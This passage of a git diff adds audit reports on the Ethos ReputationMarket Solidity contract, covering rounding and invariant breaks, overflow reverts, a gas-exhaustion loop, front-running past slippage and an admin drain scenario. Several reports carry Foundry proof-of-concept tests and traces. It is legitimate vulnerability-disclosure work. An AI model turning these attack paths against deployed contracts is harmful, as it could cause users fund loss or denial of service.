0 ? proceedsAfterFees / votesToSell : 0; + + +``` \ No newline at end of file diff --git a/114.md b/114.md new file mode 100644 index 0000000..8d5215e --- /dev/null +++ b/114.md @@ -0,0 +1,76 @@ +Tame Berry Tiger + +Medium + +# isParticipant is not updated when a user sells all their votes + +### Summary + +Participants of the market associated to each profileId are tracked by ```participants``` and ```isParticipant``` mappings. The first one expects to contain the historic participant addresses of each market, while the second one must tell if a user is currently participant of a given market. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L131-L135 + +isParticipant is set to true when a user buys any number of votes in a market, but is never set to false again if they sell all their votes in that market, breaking the expected behviour of the variable. + +### Root Cause + +When user calls buyVotes() for a given market, the isParticipant mapping for that market and address is set to true, but when they sell votes there is no mechanism that sets isParticipant to false in case they have sold all their votes, which is the expected behviour of the function according to the natspec shown above. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-L578 + +### Impact + +User will remain as a current participant of a given market even if they sell all their votes, clearly breaking the expected operation mode of the isParticipant mapping which should specifically be used for checking if a user is a participant of a market or not according to natspec. + +### Mitigation + +Set isParticipant to false in case a user sells are their votes of a given market: + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + ++ if (votesOwned[msg.sender][profileId].votes[TRUST] == 0 && ++ votesOwned[msg.sender][profileId].votes[DISTRUST] == 0){ ++ isParticipant[profileId][msg.sender] = false; ++ } + + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/115.md b/115.md new file mode 100644 index 0000000..cf721d8 --- /dev/null +++ b/115.md @@ -0,0 +1,92 @@ +Tall Daisy Mammoth + +Medium + +# Vulnerability in `_getExponentials` Due to Liquidity Parameter Constraints + +### Summary + +The `_getExponentials` function in `LMSR.sol` library is vulnerable to reverts when processing large values for the liquidityParameter.` + +### Root Cause + +- In `ReputationMarket.sol:371` +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L366-L382 + +Lack of Upper Bound on liquidityParameter: There is no explicit restriction on the value of `liquidityParameter` during configuration or initialization of new market settings. A very large value for `liquidityParameter` can lead to subsequent operations exceeding the supported range for `UD60x18`. + +- In `LMSR.sol:166-169` +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L166-L169 + +Imprecise maxSafeRatio (133): While the function attempts to enforce a safe limit using `maxSafeRatio`, the chosen value of 133 does not fully prevent operations that may result in an overflow. Larger values for `yesVotes` or `noVotes` can pass this requirement when `liquidityParameter` is set to an extremely large value (e.g., `1e58`) and stell overflow. + +Overflow in convert: The convert function wraps basic integers into the `UD60x18` format. However, it explicitly reverts when `x > MAX_UD60x18 / UNIT`. When the `yesRatio` or `noRatio` exceeds this limit, the convert call will fail, resulting in a `PRBMath_UD60x18_Convert_Overflow()` revert. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Reverts in the `_getExponentials` function could cascade into dependent components like `byVotes` and `SellVotes` functions + +### PoC + +```solidity + + import { uMAX_UD60x18, uUNIT } from "@prb/math/src/ud60x18/Constants.sol"; + + function test_getExponentials_will_overflow_for_higher_liquidityParameter() public { + uint256 liquidity = 1e58; + uint256 basePrice = 0.0001 ether; // MINIMUM_BASE_PRICE + uint256 creationCost = 10 ether; + + // add new market confing with higher liquidity + vm.prank(admin); + reputationMarket.addMarketConfig(liquidity, basePrice, creationCost); + + // create userB market + vm.prank(owner); + profile.inviteAddress(address(userB)); + vm.prank(address(userB)); + profile.createProfile(DEFAULT.profileId); + (,,,uint256 profileId) = profile.profileStatusByAddress(address(userB)); + vm.prank(admin); + reputationMarket.setUserAllowedToCreateMarket(profileId, true); + vm.prank(address(userB)); + reputationMarket.createMarketWithConfig{value: creationCost}(profileId); + + uint256 amountVotesToBuy = uMAX_UD60x18 / uUNIT; + vm.assume(amountVotesToBuy <= 133 * liquidity); + vm.deal(address(userA), basePrice * amountVotesToBuy); + vm.prank(address(userA)); + reputationMarket.buyVotes{value: basePrice * amountVotesToBuy}(profileId, true, amountVotesToBuy, 10); + } +``` + +```solidity + ├─ [40100] MarketUser::buyPosVotes(3, 100000000000000 [1e14], 115792089237316195423570985008687907853269984665640564039457 [1.157e59]) + │ ├─ [26294] ERC1967Proxy::buyVotes{value: 11579208923731619542357098500868790785326998466564056403945700000000000000}(3, true, 115792089237316195423570985008687907853269984665640564039457 [1.157e59], 10) + │ │ ├─ [25882] ReputationMarket::buyVotes{value: 11579208923731619542357098500868790785326998466564056403945700000000000000}(3, true, 115792089237316195423570985008687907853269984665640564039457 [1.157e59], 10) [delegatecall] + │ │ │ ├─ [6747] LMSR::getCost{value: 11579208923731619542357098500868790785326998466564056403945700000000000000}(1, 1, 11, 1, 10000000000000000000000000000000000000000000000000000000000 [1e58]) [delegatecall] + │ │ │ │ └─ ← [Return] 0 + │ │ │ ├─ [3932] LMSR::getCost{value: 11579208923731619542357098500868790785326998466564056403945700000000000000}(1, 1, 115792089237316195423570985008687907853269984665640564039458 [1.157e59], 1, 10000000000000000000000000000000000000000000000000000000000 [1e58]) [delegatecall] + │ │ │ │ └─ ← [Revert] PRBMath_UD60x18_Convert_Overflow(115792089237316195423570985008687907853269984665640564039458 [1.157e59]) + │ │ │ └─ ← [Revert] PRBMath_UD60x18_Convert_Overflow(115792089237316195423570985008687907853269984665640564039458 [1.157e59]) + │ │ └─ ← [Revert] PRBMath_UD60x18_Convert_Overflow(115792089237316195423570985008687907853269984665640564039458 [1.157e59]) + │ └─ ← [Revert] PRBMath_UD60x18_Convert_Overflow(115792089237316195423570985008687907853269984665640564039458 [1.157e59]) + └─ ← [Revert] PRBMath_UD60x18_Convert_Overflow(115792089237316195423570985008687907853269984665640564039458 [1.157e59]) +``` + +### Mitigation + +- Introduce an Upper Limit on `liquidityParameter`: Enforce an upper bound during market configuration to ensure that `liquidityParameter * maxSafeRatio` does not exceed the maximum supported range for `UD60x18` operations. +- Adjust `maxSafeRatio` \ No newline at end of file diff --git a/117.md b/117.md new file mode 100644 index 0000000..3bb7bea --- /dev/null +++ b/117.md @@ -0,0 +1,37 @@ +Lucky Burgundy Dove + +Medium + +# Graduation withdrawal address will withdraw more funds from admin added markets than they actually funded which makes total contract balance less than all active (non-graduated) market funds + +### Summary + +_No response_ + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/118.md b/118.md new file mode 100644 index 0000000..176c6ac --- /dev/null +++ b/118.md @@ -0,0 +1,139 @@ +Recumbent Sepia Mustang + +Medium + +# Rounding will lead to broken invariant. + +### Summary + +`MarketConfig` values could cause incorrect rounding, leading to broken invariant. + +### Root Cause + +In [_calcCost](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1017) the `LMSR` library is used to calculate the cost ration the user has to pay. This ratio is multiplied by the base vote price using the `mulDiv` function. +```solidity +function _calcCost(Market memory market, bool isPositive, bool isBuy, uint256 amount) + private + pure + returns (uint256 cost) + { + // cost ratio is a unitless ratio of N / 1e18 + uint256[] memory voteDelta = new uint256[](2); + // convert boolean input into market state change + if (isBuy) { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] + amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] + amount; + } + } else { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] - amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] - amount; + } + } + + int256 costRatio = LMSR.getCost( + market.votes[TRUST], market.votes[DISTRUST], voteDelta[0], voteDelta[1], market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio +@> cost = positiveCostRatio.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil); + } +``` + +The ratio is calculated via [getCost()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L93). + +```solidity + function getCost( + uint256 currentYesVotes, + uint256 currentNoVotes, + uint256 outcomeYesVotes, + uint256 outcomeNoVotes, + uint256 liquidityParameter + ) public pure returns (int256 costDiff) { + uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); + uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter); + costDiff = int256(newCost) - int256(oldCost); + } + + function _cost( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter + ) public pure returns (uint256 costResult) { + // Compute e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // lnVal = ln(e^(yes/b) + e^(no/b)) + UD60x18 lnVal = sumExp.ln(); + + // Unwrap lnVal and multiply by b (also in UD60x18) to get cost + uint256 lnValUnwrapped = unwrap(lnVal); + costResult = lnValUnwrapped * liquidityParameter; + } +``` +From the code snippets above is visible that each of the old and new cost are multiplied by the liquidity parameter, which is retrieved from the market configuration. + +However, the minimum liquidity value is `100` and the minimum base price is `0.0001 ether` + +This means that in case of the minimum values provided in the market configuration, there is a need for rounding, which is implemented in `_calcCost()`. However the rounding is implemented based on the type of the vote being bought or sold, which might lead to user receiving some funds from the initial liquidity, which breaks the following invariant: + +>The contract must never pay out the initial liquidity deposited as part of trading. The only way to access those funds is to graduate the market. + + + +### Internal Pre-conditions + +1. A market config with minimum values should be created. +2. The exploited market should be created with the config from 1. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User buys DISTRUST votes +2. There are other buys and sells +3. The user sells DISTRIST votes + +### Impact + +The invariant: +>The contract must never pay out the initial liquidity deposited as part of trading. The only way to access those funds is to graduate the market. + +is broken, because the user could be paid some weis from the initial liquidity. + + +### PoC + +A user buys DISTRUST votes which will cost 1....8.9 weis. He pays 1.....9.0 weis, because of the rounding up. +Other users buy and sell votes +The user again buys DISTRUST votes which will cost 2....5.8 wies, and he pays 2....6.0 weis, because of the rounding up. +The total overpayed amount is 0.3 weis +Other users buy and sell votes. +The user again does the operations above. + +After some time he start selling his votes. +The first one is sold for 3......4.6, and he receives 3......5.0 +The second one is sold for 2.....3.5, and he receives 2.....4.0 +The total overreceived amount is 0.9 weis. + +He continues to do that, in the end the difference should be payed by the initial liquidity. + + +### Mitigation + +Option 1: Update the minimum values in the market configuration to not need rounding. + +Option 2: Round up when buying and round down when selling, so the protocol is not insolvent. \ No newline at end of file diff --git a/119.md b/119.md new file mode 100644 index 0000000..fecb36a --- /dev/null +++ b/119.md @@ -0,0 +1,109 @@ +Sparkly Ruby Rabbit + +Medium + +# While-Loop DOS in buyVotes() + +### Summary + +A malicious front-end will cause a self-inflicted gas exhaustion (DOS) for unsuspecting users attempting to buy votes. + +In the function` buyVotes(),` there is a naive decrement loop that subtracts 1 from the `currentVotesToBuy` until `msg.value` suffices for the cost. This loop can iterate an extremely large number of times if `maxVotesToBuy` is set to a huge value (e.g., 2^256 - 1). As a result, the transaction runs out of gas and reverts. + +Impact +This flaw will cause a denial of service for users as a malicious front-end can exploit it by providing a massive maxVotesToBuy, forcing the function to exceed block gas limits and revert. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L460 + + +### Root Cause + +in `ReputationMarket.sol` (the relevant lines typically reside within the `buyVotes() `function), the problematic code is (roughly): + +```solidity + +while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = + _calculateBuy(markets[profileId], isPositive, currentVotesToBuy); +} +``` +The design choice to decrement currentVotesToBuy by 1 in a loop is a mistake because no upper bound is enforced on maxVotesToBuy, allowing a massive iteration count that triggers out-of-gas reverts. + +### Internal Pre-conditions + +1-Admin does not impose any limit on maxVotesToBuy in the function call or in an external check. +2-No other code path restricts or bounds the size of maxVotesToBuy. +3-buyVotes() is being called with a sufficiently large maxVotesToBuy such that decrementing from that value one step at a time is extremely gas-costly. + +### External Pre-conditions + +1-The user is using a malicious front-end or script that sets maxVotesToBuy to a massive value (e.g., 2^256 - 1). +2-The network (e.g., Base L2) has a block gas limit which cannot accommodate the extremely large loop. + + +### Attack Path + +1-An attacker (or malicious dApp) presents a user interface where maxVotesToBuy is set to an absurdly high number (e.g., type(uint256).max). +2-The user, unaware of this, calls buyVotes() with the monstrous maxVotesToBuy. +3-Inside buyVotes(), the while-loop attempts to decrement from that huge number until totalCostIncludingFees <= msg.value. +4-The loop consumes all available gas. +5-The transaction reverts, causing the user to lose any gas spent. The user cannot successfully buy votes. + +### Impact + +Affected Party: The user attempting to buy votes. +Loss: The user loses their gas for a reverted transaction and cannot complete the buy. +Denial-of-Service: If such calls repeat, it can hamper usage or break dApp flows for unsuspecting participants. There’s no direct profit for the attacker, but it griefs or disrupts user trades. + + +### PoC + +Below is a test demonstration in Foundry (or Hardhat) style. The key is setting `maxVotesToBuy `to an enormous value and watching the transaction fail due to gas exhaustion: + +```solidity + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "../src/ReputationMarket.sol"; // your contract's import + +contract WhileLoopDOSAttackTest is Test { + ReputationMarket rm; + + function setUp() public { + // Deploy or set up ReputationMarket instance + rm = new ReputationMarket(); + // Assume any necessary initializations... + } + + function testDOSViaHugeMaxVotesToBuy() public { + // Let's say profileId is 12345, + // and we've pre-created a market for it, + // and we want to buy trust votes (isPositive = true). + uint256 profileId = 12345; + bool isPositive = true; + + // We prepare a huge number for maxVotesToBuy + uint256 maxVotesToBuy = type(uint256).max; + + // Provide some ETH in msg.value + vm.deal(address(this), 10 ether); + + vm.expectRevert(); + // We expect the transaction to revert due to out-of-gas (or explicit revert). + rm.buyVotes{value: 1 ether}(profileId, isPositive, maxVotesToBuy, 1); + } +} +``` + +When run, the transaction consumes all gas or triggers the revert scenario. + + + +### Mitigation + +1-Replace the naive loop with a binary search or a closed-form approach to directly calculate the maximum affordable votes. +2-Enforce an upper limit on maxVotesToBuy (e.g., disallow inputs > 10^6, or some practical bound) to prevent extreme iteration. +3-Fail Fast if msg.value is insufficient to buy maxVotesToBuy from the start—no need to decrement one by one. \ No newline at end of file diff --git a/121.md b/121.md new file mode 100644 index 0000000..1e9cc67 --- /dev/null +++ b/121.md @@ -0,0 +1,280 @@ +Lucky Spruce Kookaburra + +Medium + +# Summation of Prices for Positive and Negative Votes is not always equal to 1, which breaks the invariant + +### Summary + +The summation of prices for positive and negative votes is not always equal to 1, which breaks the invariant. + +> Must maintain LMSR invariant (yes + no price sum to 1) + +### Root Cause + +In [ReputationMarket.sol](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L992C1-L1004C4), we round the number to ceil if it's negative and we round it to floor if it's positive. We do that in order to protect the invariant. But this is not enough for edge cases. + + In edge case scenarios, we see that summation can be lower than 1. We will use fuzz test for reproducing the scenario. This scenario happens when one of the `odds` is divisible by `1e18` in `mulDiv`. `mulDiv` doesn't round it to ceil if it's already divisible. + + In real world, if one side is divisible we expect that the other side is divisible too. But this is not the case in edgecases in solidity. One side can divisible to `1e18` while the other side is not and if divisible side is a negative vote then positive vote will be rounded to floor and negative part is also rounded to floor too. + +### Internal Pre-conditions + +1. Negative side is divisible to `1e18` but positive side is not. + +### Impact + +Medium - It breaks the main invariant of the protocol. The result of summation should be always equal to base price according to the invariant. The price calculation while `calculateSell` and `calculateBuy` will be wrong for 1 wei. + +> Must maintain LMSR invariant (yes + no price sum to 1) + +This issue will cause wrong accounting in following state variable + +```solidity + lastMarketUpdates[profileId] = MarketUpdateInfo({ + voteTrust: markets[profileId].votes[TRUST], + voteDistrust: markets[profileId].votes[DISTRUST], + positivePrice: currentPositivePrice, + negativePrice: currentNegativePrice, + lastUpdateBlock: block.number + }); +``` + +Mitigation should be applied for both rounding ( getPrice, calculateBuy, calculateSell ) + + +### PoC + +I saw that problem while the fuzz test in foundry. You can use following files to reproduce the bug. + +First of all install the required libraries: + +```console +forge init --force --no-commit +forge install PaulRBerg/prb-math@v4.1.0 openzeppelin/openzeppelin-contracts@v5.1.0 openzeppelin@openzeppelin-contracts-upgradeable@v5.1.0 --no-commit +``` + +Use following command for fuzz test +```console +forge test --match-test testFuzz_price -vvv +``` + +Use following command for example scenario +```console +forge test --match-test test_priceNotOne -vvv +``` + +```solidity +// ProfileMock.sol in mocks folder + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +/* + * @dev Interface for EthosProfile Smart Contract. + */ +interface IEthosProfile { + function verifiedProfileIdForAddress(address _address) external view returns (uint256); +} + + +contract ProfileMock is IEthosProfile{ + + function verifiedProfileIdForAddress(address usr) external view returns(uint256){ + return uint256(keccak256(abi.encode(usr))); + } +} +``` +```solidity +// ManagerMock.sol in mocks folder + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +interface IContractAddressManager { + function getContractAddressForName(string memory name) external view returns (address); + + function checkIsEthosContract(address targetAddress) external view returns (bool); +} + +contract ManagerMock is IContractAddressManager{ + + address profile; + constructor(address _profile){ + profile = _profile; + } + function getContractAddressForName(string memory name) external view returns (address){ + return profile; + } + function checkIsEthosContract(address targetAddress) external view returns (bool){ + return true; + } + +} +``` + +```solidity +// ReputationTest.t.sol in test folder + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../contracts/mocks/ProfileMock.sol"; +import "../contracts/mocks/ManagerMock.sol"; +import {ReputationMarket} from "../contracts/ReputationMarket.sol"; + + +interface IReputation { + function createMarket() external payable; + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) external payable; + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) external; + function setAllowListEnforcement(bool) external; + function setEntryProtocolFeeBasisPoints(uint256) external; + function setDonationBasisPoints(uint256) external; + function setProtocolFeeAddress(address) external; + function withdrawDonations() external; + function createMarketWithConfig(uint256) external payable; + function getVotePrice(uint256,bool) external view returns(uint256); +} + +contract ReputationUnitTest is Test { + + ProfileMock profile; + ManagerMock manager; + address owner = address(0x1); + address admin = address(0x2); + address alice = address(0x3); + address bob = address(0x4); + address john = address(0x5); + address lucy = address(0x6); + address proxy; + uint256 profileIdAlice = uint256(keccak256(abi.encode(alice))); + + function setUp() public { + address reputation = address(new ReputationMarket()); + profile = new ProfileMock(); + manager = new ManagerMock(address(profile)); + bytes memory data = abi.encodePacked(bytes4(keccak256("initialize(address,address,address,address,address)")),abi.encode(owner,admin,address(0x10),address(0x11),address(manager))); + proxy = address(new ERC1967Proxy(reputation, data)); + vm.startPrank(admin); + IReputation(proxy).setAllowListEnforcement(false); + IReputation(proxy).setProtocolFeeAddress(admin); + IReputation(proxy).setDonationBasisPoints(500); + IReputation(proxy).setEntryProtocolFeeBasisPoints(500); + vm.stopPrank(); + vm.deal(alice, 1000000 ether); + vm.deal(bob, 1e18 ether); + vm.deal(john, 1000000 ether); + vm.deal(lucy, 1000000 ether); + } + + /// forge-config: default.fuzz.runs = 100000 + /// forge-config: default.fuzz.max_test_rejects = 100000 + function testFuzz_price(bool b, uint16 x, uint16 y) public { + + vm.assume(x != 0); + vm.assume(y != 0); + x = uint16(bound(x, 100, 20000)); + y = uint16(bound(y, 100, 20000)); + + uint256 basePrice = 0.01 ether; + + vm.prank(alice); + IReputation(proxy).createMarket{value: 2 ether}(); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, b, uint256(x), uint256(x)); + + uint256 priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + uint256 priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA + priceB == basePrice); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, !b, uint256(y), uint256(y)); + + priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA + priceB == basePrice); + + vm.prank(bob); + IReputation(proxy).sellVotes(profileIdAlice, b, uint256(x), 0); + + priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA + priceB == basePrice); + + vm.prank(bob); + IReputation(proxy).sellVotes(profileIdAlice, !b, uint256(y), 0); + + priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA + priceB == basePrice); + + } + function test_priceNotOne() public { + vm.prank(alice); + IReputation(proxy).createMarket{value: 2 ether}(); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, false, uint256(13154), uint256(13154)); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, true, uint256(12313), uint256(12313)); + + uint256 priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + uint256 priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + console2.log(priceA); + console2.log(priceB); + console2.log(priceB + priceA); + + } +} +``` + +### Mitigation + +Following code will solve the problem: + +```diff + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // odds are in a ratio of N / 1e18 + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + // multiply odds by base price to get price; divide by 1e18 to get price in wei + // round up for trust, down for distrust so that prices always equal basePrice + ++ uint256 addOne = (odds * market.basePrice % 1e18 == 0) && !isPositive ? 1 : 0; ++ if(odds == 5e17){ ++ addOne = 0; ++ } + +- return odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil) ++ return odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil) + addOne; + } +``` + +There are two edgecases. First one is divisibility problem and second one occurs when the odds are equal to eachother ( both of them is equal to 5e17 ). + +After this modification, you can try the fuzz test again. It will be solved. The mitigation for other parties such as `calculateBuy`, `calculateSell` should be applied respect to this mitigation. \ No newline at end of file diff --git a/122.md b/122.md new file mode 100644 index 0000000..7e5a35b --- /dev/null +++ b/122.md @@ -0,0 +1,121 @@ +Sparkly Ruby Rabbit + +High + +# Liquidity Mismatch / Under-Collateralization Risk + +### Summary + +A malicious or careless admin/upgrade will drain or mismanage contract ETH, causing users to be unable to redeem their votes (sell) or withdraw funds. + +The contract stores the amount of locked funds in marketFunds[profileId] but does not enforce that address(this).balance is always ≥ the sum of all marketFunds. Thus, an admin or upgrade could withdraw or transfer ETH from the contract without updating marketFunds[...]. Users expecting to sell votes are left with insufficient actual ETH in the contract. + +Impact +This mismatch will cause a complete inability to redeem votes for users, as an admin (or a malicious upgrade) will remove ETH so that sellVotes() or other withdrawals revert when trying to pay sellers. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L39 + +### Root Cause + +In ReputationMarket.sol, there is no explicit code segment preventing the contract’s ETH balance from dropping below the total of marketFunds[profileId]. The relevant storage: + + +`mapping(uint256 => uint256) public marketFunds; ` +tracks how much ETH is "allocated" to each market, but there is no mechanism ensuring: + + +`address(this).balance >= Σ(marketFunds[allActiveMarkets]).` +A conceptual mistake is made by not having an invariant that ties on-chain balance to the internal marketFunds ledger. + +### Internal Pre-conditions + +1-Admin (or a future upgrade) has the ability to transfer ETH out of the contract without zeroing out or reducing marketFunds[profileId]. +2-No built-in guard or check (e.g., require(address(this).balance >= totalMarketFunds)) for normal function calls. + +### External Pre-conditions + +1-Users have deposited ETH by buying votes, so marketFunds[profileId] is non-zero. +2-A mechanism (e.g., an upgraded function or an external call) that can remove ETH from the contract exists or can be introduced. +3-The L2 or environment does not prevent arbitrary transfers. + +### Attack Path + +1-Admin or a privileged role (possibly via an upgrade) adds a function like forceWithdrawETH(amount) that transfers ETH from the contract to the admin’s address. +2-This function does not adjust or reduce marketFunds[...]. The contract’s reported marketFunds is still large, but address(this).balance is now smaller (or even zero). +3-A user tries to `sellVotes()` +- The contract calls _sendEth(proceedsAfterFees); +- The actual address(this).balance is insufficient to pay the user. +- The sell transaction reverts, freezing the user’s funds. + + +### Impact + +Affected Party: Any user holding trust/distrust votes. + +Loss: +- 1- Inability to Withdraw: The user cannot redeem their votes for ETH—any attempt reverts due to insufficient contract balance. +- 2- Potential Collateral Loss: If the market never gets re-collateralized, user stakes are effectively stuck. + +Gain for Attacker: The malicious admin or role might siphon out the contract’s ETH for personal use. + +### PoC + +hypothetical Foundry test that illustrates a malicious upgrade scenario: + +```solidity + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "../src/ReputationMarket.sol"; + +contract LiquidityMismatchTest is Test { + ReputationMarket rm; + address admin = address(0xA1); + address user = address(0xB1); + + function setUp() public { + // Deploy the contract and set 'admin' as the owner + vm.startPrank(admin); + rm = new ReputationMarket(); + // Suppose we initialize + create a market + // rm.initialize(...); + vm.stopPrank(); + } + + function testUnderCollateralization() public { + // Step 1: user buys votes for some profile + vm.deal(user, 10 ether); + vm.startPrank(user); + // user calls rm.buyVotes(...) with e.g. 1 ETH + // This sets marketFunds[profileId] = 1 ETH, but also increases contract balance by 1 ETH + vm.stopPrank(); + + // Step 2: malicious 'admin' forcibly transfers out the contract's ETH + // e.g., assume there's an upgraded function or a direct selfdestruct in an upgraded code + vm.prank(admin); + // Hypothetical direct send from contract's address or an upgrade that bypasses checks + payable(admin).transfer(address(rm).balance); + + // Step 3: user tries to sell votes + vm.startPrank(user); + // This will fail as address(this).balance in rm is now 0, but marketFunds might still be 1 ETH + vm.expectRevert(); + // rm.sellVotes(...) => reverts on insufficient balance + vm.stopPrank(); + } +} +``` +The user’s sell attempt reverts, confirming the mismatch scenario. + +### Mitigation + +1- Enforce Collateral Invariant +For any new function or upgrade that sends ETH out, require address(this).balance >= sum(marketFundsForActiveMarkets) - (amount being withdrawn). + +2-Restrict or Lock Down Upgradability +Ensure no admin function can remove funds unless markets are graduated or zeroed out. + +3-Implement a Strict “No External Withdraw” Rule +The only way to remove funds from a non-graduated market should be via user sells or official graduation. diff --git a/123.md b/123.md new file mode 100644 index 0000000..ffa3978 --- /dev/null +++ b/123.md @@ -0,0 +1,82 @@ +Shambolic Sage Corgi + +High + +# Slippage Protection Ineffectiveness in Vote Purchase Adjustment + +### Summary + +The while loop adjusting the number of votes `currentVotesToBuy` fails to enforce slippage protection effectively, allowing purchases to complete with fewer votes than the user-specified minimum `minVotesToBuy`. This can violate user expectations and expose the system to front-running, market manipulation, or griefing attacks. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L460-L467 + +### Root Cause + +Logic Flaw: The absence of an explicit check for `currentVotesToBuy < minVotesToBuy` after cost adjustments allows transactions to finalize even when the user's minimum purchase requirement is not met. +Loop Behavior: The loop decreases `currentVotesToBuy` until the cost fits within `msg.value` without considering whether the adjusted votes still respect the user's preferences. + +### Internal Pre-conditions + +`_calculateBuy` Behavior: Returns valid but slightly decreasing costs for votes near the user’s intended purchase. +Loop Implementation: Adjusts `currentVotesToBuy` without verifying against `minVotesToBuy`. +Lack of Post-Loop Validation: Final checks for `minVotesToBuy` are missing. + +### External Pre-conditions + +User-Supplied Parameters: +`msg.value` insufficient for the initial desiredVotesToBuy. +`minVotesToBuy` > achievable votes given `msg.value`. +Volatile Market Conditions: +Changes in market state (e.g., fees, slippage) during transaction execution. + + +### Attack Path + +1. Initial State: + +Target Transaction: +`msg.value` = 5 ETH +`minVotesToBuy` = 100 +Market liquidity low. +Initial Calculation: +Cost of 100 votes ≈ 4.9 ETH (meets conditions). + +2. Attacker Action: + +Front-runs the transaction by purchasing 200 votes. +New Cost of 100 votes = 5.2 ETH (exceeds `msg.value`). + +3. Target Transaction Outcome: + +while loop adjusts `currentVotesToBuy` downward until 90 votes are affordable. +`minVotesToBuy` = 100 is ignored, and the transaction finalizes with 90 votes. + +### Impact + +An attacker manipulates market conditions to reduce affordable votes below 